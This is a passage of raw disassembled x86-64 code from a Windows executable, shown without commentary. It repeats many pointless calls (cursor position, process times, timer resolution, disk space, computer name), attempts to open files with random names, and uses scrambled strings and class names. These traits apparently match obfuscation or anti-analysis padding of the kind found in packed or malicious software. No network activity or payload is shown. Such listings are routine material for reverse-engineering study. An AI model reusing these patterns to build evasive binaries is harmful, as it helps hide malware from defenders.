call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140014210
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x4b70]
call fcn.140059690
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.0wOxX.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, rsi
je 0x14001425c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0xcf0]
lea r8, [rbp + 0xcf8]
lea rdx, [rbp + 0xd00]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400142cd
lea rax, [rbp + 0xd08]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd10]
lea r8, [rbp + 0xd18]
lea rdx, [rbp + 0xd20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xd28]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x4f70]
call fcn.140059690
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14001433a
lea rax, [rbp + 0xd30]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd38]
lea r8, [rbp + 0xd40]
lea rdx, [rbp + 0xd48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x6d8], xmm0
mov qword [rbp + 0x6e8], r15
mov qword [rbp + 0x6f0], r15
mov ebx, 8
mov r8d, ebx
lea rdx, str.uT1yJnEp
lea rcx, [rbp + 0x6d8]
call fcn.14000192c
nop
lea rdx, [rbp + 0x6d8]
cmp qword [rbp + 0x6f0], 0xf
cmova rdx, qword [rbp + 0x6d8]
mov r8, qword [rbp + 0x6e8]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x9ee3ba
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x6d8]
call fcn.140005e28
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x5370]
call fcn.140059690
lea rcx, [rbp + 0xd50]
call qword [sym.imp.USER32.dll_GetCursorPos]
xorps xmm0, xmm0
movups xmmword [rbp + 0x478], xmm0
mov qword [rbp + 0x488], r15
mov qword [rbp + 0x490], r15
mov r8d, ebx
lea rdx, str.DZyrJnxg
lea rcx, [rbp + 0x478]
call fcn.14000192c
nop
lea rdx, [rbp + 0x478]
cmp qword [rbp + 0x490], 0xf
cmova rdx, qword [rbp + 0x478]
mov r8, qword [rbp + 0x488]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x9a69997
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
mov rdx, qword [rbp + 0x490]
cmp rdx, 0xf
jbe 0x140014488
inc rdx
mov rcx, qword [rbp + 0x478]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014483
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017316
call fcn.140034bfc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400144d7
lea rax, [rbp + 0xd58]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd60]
lea r8, [rbp + 0xd68]
lea rdx, [rbp + 0xd70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 8
lea rcx, [rbp + 0xd78]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400144ff
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea rcx, [rbp + 0x15d0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov rcx, qword [r12]
call fcn.14000c820
cmp al, 0x23
jne 0x140016b80
xorps xmm0, xmm0
movups xmmword [rbp + 0xbf8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc08], xmm1
mov r8, r14
lea rdx, [0x14005e424]
lea rcx, [rbp + 0xbf8]
call fcn.14000192c
lea rdx, [rbp + 0xbf8]
cmp qword [rbp + 0xc10], 0xf
cmova rdx, qword [rbp + 0xbf8]
mov r8d, 0x2145898d
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xbf8]
call fcn.140005e28
lea rcx, [rbp + 0x15e0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rcx, [rbp + 0x15f0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea r9, [rbp + 0xd80]
lea r8, [rbp + 0xd88]
lea rdx, [rbp + 0xd90]
lea rbx, [0x14005dfa8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [rbp + 0x1600]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc28], xmm1
mov r8d, 2
lea rdx, [0x14005e428]
lea rcx, [rbp + 0xc18]
call fcn.14000192c
lea rdx, [rbp + 0xc18]
cmp qword [rbp + 0xc30], 0xf
cmova rdx, qword [rbp + 0xc18]
mov r8d, 0x13560eb6
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xc18]
call fcn.140005e28
lea r9, [rbp + 0xfa0]
lea r8, [rbp + 0xd98]
lea rdx, [rbp + 0xda0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x6f8], xmm0
mov qword [rbp + 0x708], r15
mov qword [rbp + 0x710], r15
mov r8d, 9
lea rdx, str.9mCGeXhkb
lea rcx, [rbp + 0x6f8]
call fcn.14000192c
nop
lea rdx, [rbp + 0x6f8]
cmp qword [rbp + 0x710], 0xf
cmova rdx, qword [rbp + 0x6f8]
mov r8, qword [rbp + 0x708]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0xada800f
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x6f8]
call fcn.140005e28
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x5770]
call fcn.140059690
lea r9, [rbp + 0xda8]
lea r8, [rbp + 0xdb0]
lea rdx, [rbp + 0xdb8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x5b70]
call fcn.140059690
mov edx, 8
lea rcx, [rbp + 0xdc0]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140014730
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea rcx, [rbp + 0xdc8]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rbp + 0xdd0]
call qword [sym.imp.USER32.dll_GetCursorPos]
xorps xmm0, xmm0
movups xmmword [rbp + 0x498], xmm0
mov qword [rbp + 0x4a8], r15
mov qword [rbp + 0x4b0], r15
mov r8d, 2
lea rdx, [0x14005e43c]
lea rcx, [rbp + 0x498]
call fcn.14000192c
nop
lea rdx, [rbp + 0x498]
cmp qword [rbp + 0x4b0], 0xf
cmova rdx, qword [rbp + 0x498]
mov r8, qword [rbp + 0x4a8]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x2d6e943b
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
mov rdx, qword [rbp + 0x4b0]
cmp rdx, 0xf
jbe 0x1400147fd
inc rdx
mov rcx, qword [rbp + 0x498]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400147f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001731c
call fcn.140034bfc
lea r9, [rbp + 0xdd8]
lea r8, [rbp + 0xde0]
lea rdx, [rbp + 0xde8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14001486a
lea rax, [rbp + 0xdf0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xdf8]
lea r8, [rbp + 0xe00]
lea rdx, [rbp + 0xe08]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rbp + 0x384]
lea rdx, [rbp + 0x378]
mov rcx, qword [r12]
call fcn.14000c3d0
test al, al
je 0x140016b80
mov r13d, r15d
cmp dword [rbp + 0x384], r15d
jbe 0x140016b7a
mov dword [rbp + 0x434], 0x10
lea rdx, [rbp + 0x434]
lea rcx, [rbp + 0x1950]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov edi, 0x400
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14001490a
lea rax, [rbp + 0xe10]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe18]
lea r8, [rbp + 0xe20]
lea rdx, [rbp + 0xe28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xe30]
call qword [sym.imp.USER32.dll_GetCursorPos]
xorps xmm0, xmm0
movups xmmword [rbp + 0x8f8], xmm0
mov qword [rbp + 0x908], r15
mov qword [rbp + 0x910], r15
mov ebx, 3
mov r8d, ebx
lea rdx, [0x14005e440]
lea rcx, [rbp + 0x8f8]
call fcn.14000192c
lea rdx, [rbp + 0x8f8]
cmp qword [rbp + 0x910], 0xf
cmova rdx, qword [rbp + 0x8f8]
mov r8d, 0x3438aa72
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0x8f8]
call fcn.140005e28
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.q.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, rsi
je 0x1400149b6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, rdi
xor edx, edx
lea rcx, [rbp + 0x5f70]
call fcn.140059690
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140014a15
lea rax, [rbp + 0xe38]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe40]
lea r8, [rbp + 0xe48]
lea rdx, [rbp + 0xe50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 8
lea rcx, [rbp + 0xe58]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140014a3d
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140014a8b
lea rax, [rbp + 0xe60]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe68]
lea r8, [rbp + 0xe70]
lea rdx, [rbp + 0xe78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x718], xmm0
mov qword [rbp + 0x728], r15
mov qword [rbp + 0x730], r15
mov r8d, 9
lea rdx, str.q2KELbXFv
lea rcx, [rbp + 0x718]
call fcn.14000192c
lea rdx, [rbp + 0x718]
cmp qword [rbp + 0x730], 0xf
cmova rdx, qword [rbp + 0x718]
mov r8d, 0x12976b34
lea rcx, str._s:__d
call fcn.1400184d4
mov rdx, qword [rbp + 0x730]
mov esi, 0x1000
cmp rdx, 0xf
jbe 0x140014b27
inc rdx
mov rcx, qword [rbp + 0x718]
mov rax, rcx
cmp rdx, rsi
jb 0x140014b22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017328
call fcn.140034bfc
xorps xmm0, xmm0
movups xmmword [rbp + 0x4b8], xmm0
mov qword [rbp + 0x4c8], r15
mov qword [rbp + 0x4d0], r15
mov r8d, 5
lea rdx, str.CAzmL
lea rcx, [rbp + 0x4b8]
call fcn.14000192c
nop
lea rdx, [rbp + 0x4b8]
cmp qword [rbp + 0x4d0], 0xf
cmova rdx, qword [rbp + 0x4b8]
mov r8, qword [rbp + 0x4c8]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x306ce076
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
mov rdx, qword [rbp + 0x4d0]
cmp rdx, 0xf
jbe 0x140014bd6
inc rdx
mov rcx, qword [rbp + 0x4b8]
mov rax, rcx
cmp rdx, rsi
jb 0x140014bd1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001732e
call fcn.140034bfc
mov edx, 8
lea rcx, [rbp + 0xe80]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140014bfe
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea rcx, [rbp + 0x1610]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rcx, [rbp + 0x1620]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140014c66
lea rax, [rbp + 0xe88]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe90]
lea r8, [rbp + 0xe98]
lea rdx, [rbp + 0xea0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 8
lea rcx, [rbp + 0xea8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140014c8e
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movups xmmword [rbp + 0x738], xmm0
mov qword [rbp + 0x748], r15
mov qword [rbp + 0x750], r15
mov r8d, 5
lea rdx, str.ad6OK
lea rcx, [rbp + 0x738]
call fcn.14000192c
lea rdx, [rbp + 0x738]
cmp qword [rbp + 0x750], 0xf
cmova rdx, qword [rbp + 0x738]
mov r8d, 0x3b5b0788
lea rcx, str._s:__d
call fcn.1400184d4
mov rdx, qword [rbp + 0x750]
cmp rdx, 0xf
jbe 0x140014d25
inc rdx
mov rcx, qword [rbp + 0x738]
mov rax, rcx
cmp rdx, rsi
jb 0x140014d20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017334
call fcn.140034bfc
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov edi, 0x88
mov ecx, edi
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140014d62
mov r8d, edi
xor edx, edx
mov rcx, rax
call fcn.140059690
mov rcx, rbx
call fcn.14000ba30
mov rsi, rax
jmp 0x140014d65
mov rsi, r15
mov qword [rbp + 0x360], rsi
mov ecx, 0x18
call fcn.140034bc0
mov rdi, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140014da1
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], r14d
mov dword [rax + 0xc], r14d
lea rax, vtable.AWX::JCBZF_JGTPU.0
mov qword [rdi], rax
mov qword [rdi + 0x10], rsi
jmp 0x140014da4
mov rdi, r15
mov qword [rbp + 0x1f0], rsi
mov qword [rbp + 0x1f8], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov r14d, 0x68
mov ecx, r14d
call fcn.140034bc0
mov rbx, rax
mov qword [rbp + 0x170], rax
test rax, rax
je 0x140014df1
mov r8d, r14d
xor edx, edx
mov rcx, rax
call fcn.140059690
mov rcx, rbx
call fcn.140007c2c
mov r14, rax
jmp 0x140014df4
mov r14, r15
mov qword [rbp + 0x230], r14
mov ecx, 0x18
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140014e36
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.QSINOROBZ::ZMWB__RZWXJ.0
mov qword [rbx], rax
mov qword [rbx + 0x10], r14
jmp 0x140014e39
mov rbx, r15
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rbx
mov r8d, dword [rbp + 0x384]
sub r8d, r13d
mov edx, r13d
add rdx, qword [rbp + 0x378]
mov rcx, r14
call fcn.140008150
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, str.PvCT7Dw.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140014e9c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x6370]
call fcn.140059690
xorps xmm0, xmm0
movups xmmword [rbp + 0x758], xmm0
mov qword [rbp + 0x768], r15
mov qword [rbp + 0x770], r15
mov r8d, 1
lea rdx, [0x14005e490]
lea rcx, [rbp + 0x758]
call fcn.14000192c
nop
lea rdx, [rbp + 0x758]
cmp qword [rbp + 0x770], 0xf
cmova rdx, qword [rbp + 0x758]
mov r8, qword [rbp + 0x768]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x80f625b
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x758]
call fcn.140005e28
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x6770]
call fcn.140059690
mov dword [rbp + 0x3f0], 0x10
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x1970]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov edx, 8
lea rcx, [rbp + 0xeb0]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140014f8a
lea ecx, [rax + 1]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, 1
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rbp + 0x430], 0x10
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x1990]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rbp + 0x42c], 0x10
lea rdx, [rbp + 0x42c]
lea rcx, [rbp + 0x19b0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, str.ff3aMXk.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140015003
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x778], xmm0
mov qword [rbp + 0x788], r15
mov qword [rbp + 0x790], r15
mov r8d, 2
lea rdx, [0x14005e4b0]
lea rcx, [rbp + 0x778]
call fcn.14000192c
nop
lea rdx, [rbp + 0x778]
cmp qword [rbp + 0x790], 0xf
cmova rdx, qword [rbp + 0x778]
mov r8, qword [rbp + 0x788]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x26642460
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x778]
call fcn.140005e28
xorps xmm0, xmm0
movups xmmword [rbp + 0x798], xmm0
mov qword [rbp + 0x7a8], r15
mov qword [rbp + 0x7b0], r15
mov r8d, 3
lea rdx, [0x14005e4b4]
lea rcx, [rbp + 0x798]
call fcn.14000192c
nop
lea rdx, [rbp + 0x798]
cmp qword [rbp + 0x7b0], 0xf
cmova rdx, qword [rbp + 0x798]
mov r8, qword [rbp + 0x7a8]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x56ae13b
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x798]
call fcn.140005e28
mov dword [rbp + 0x428], 0x10
lea rdx, [rbp + 0x428]
lea rcx, [rbp + 0x19d0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x6b70]
call fcn.140059690
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, [0x14005e4b8]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14001516e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x16d0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, str.6ocq0rIhSD.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x1400151b8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 8
lea rcx, [rbp + 0xeb8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400151e2
lea ecx, [rax + 1]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, 1
call qword [sym.imp.WINMM.dll_timeEndPeriod]
cmp byte [0x140078ed0], r15b
je 0x140015b5e
lea rcx, [rbp + 0x1640]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, str.U3fg.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140015239
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, str.U.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140015276
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x7b8], xmm0
mov qword [rbp + 0x7c8], r15
mov qword [rbp + 0x7d0], r15
mov r8d, 5
lea rdx, str.YNdJ0
lea rcx, [rbp + 0x7b8]
call fcn.14000192c
nop
lea rdx, [rbp + 0x7b8]
cmp qword [rbp + 0x7d0], 0xf
cmova rdx, qword [rbp + 0x7b8]
mov r8, qword [rbp + 0x7c8]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x2a694ad5
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x7b8]
call fcn.140005e28
xorps xmm0, xmm0
movups xmmword [rbp + 0x918], xmm0
mov qword [rbp + 0x928], r15
mov qword [rbp + 0x930], r15
mov r8d, 1
lea rdx, [0x14005e514]
lea rcx, [rbp + 0x918]
call fcn.14000192c
lea rdx, [rbp + 0x918]
cmp qword [rbp + 0x930], 0xf
cmova rdx, qword [rbp + 0x918]
mov r8d, 0x11d7f72e
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0x918]
call fcn.140005e28
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, [0x14005e518]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140015397
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, str.ZpY2IAI.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x1400153d4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xec0]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov edx, 8
lea rcx, [rbp + 0xec8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x14001540b
lea ecx, [rax + 1]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, 1
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movups xmmword [rbp + 0x938], xmm0
mov qword [rbp + 0x948], r15
mov qword [rbp + 0x950], r15
mov r8d, 2
lea rdx, [0x14005e540]
lea rcx, [rbp + 0x938]
call fcn.14000192c
lea rdx, [rbp + 0x938]
cmp qword [rbp + 0x950], 0xf
cmova rdx, qword [rbp + 0x938]
mov r8d, 0x6661a9a
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0x938]
call fcn.140005e28
lea rcx, [rbp + 0x1650]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
xorps xmm0, xmm0
movups xmmword [rbp + 0x958], xmm0
mov qword [rbp + 0x968], r15
mov qword [rbp + 0x970], r15
mov r8d, 1
lea rdx, [0x14005e544]
lea rcx, [rbp + 0x958]
call fcn.14000192c
lea rdx, [rbp + 0x958]
cmp qword [rbp + 0x970], 0xf
cmova rdx, qword [rbp + 0x958]
mov r8d, 0x190b18fd
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0x958]
call fcn.140005e28
lea rcx, [rbp + 0x1660]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rcx, [rbp + 0xed0]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov edx, 8
lea rcx, [rbp + 0xed8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140015528
lea ecx, [rax + 1]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, 1
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov edx, 8
lea rcx, [rbp + 0xee0]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140015552
lea ecx, [rax + 1]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, 1
call qword [sym.imp.WINMM.dll_timeEndPeriod]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
je 0x1400155a3
lea rax, [rbp + 0xee8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xef0]
lea r8, [rbp + 0xef8]
lea rdx, [rbp + 0xf00]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, r15
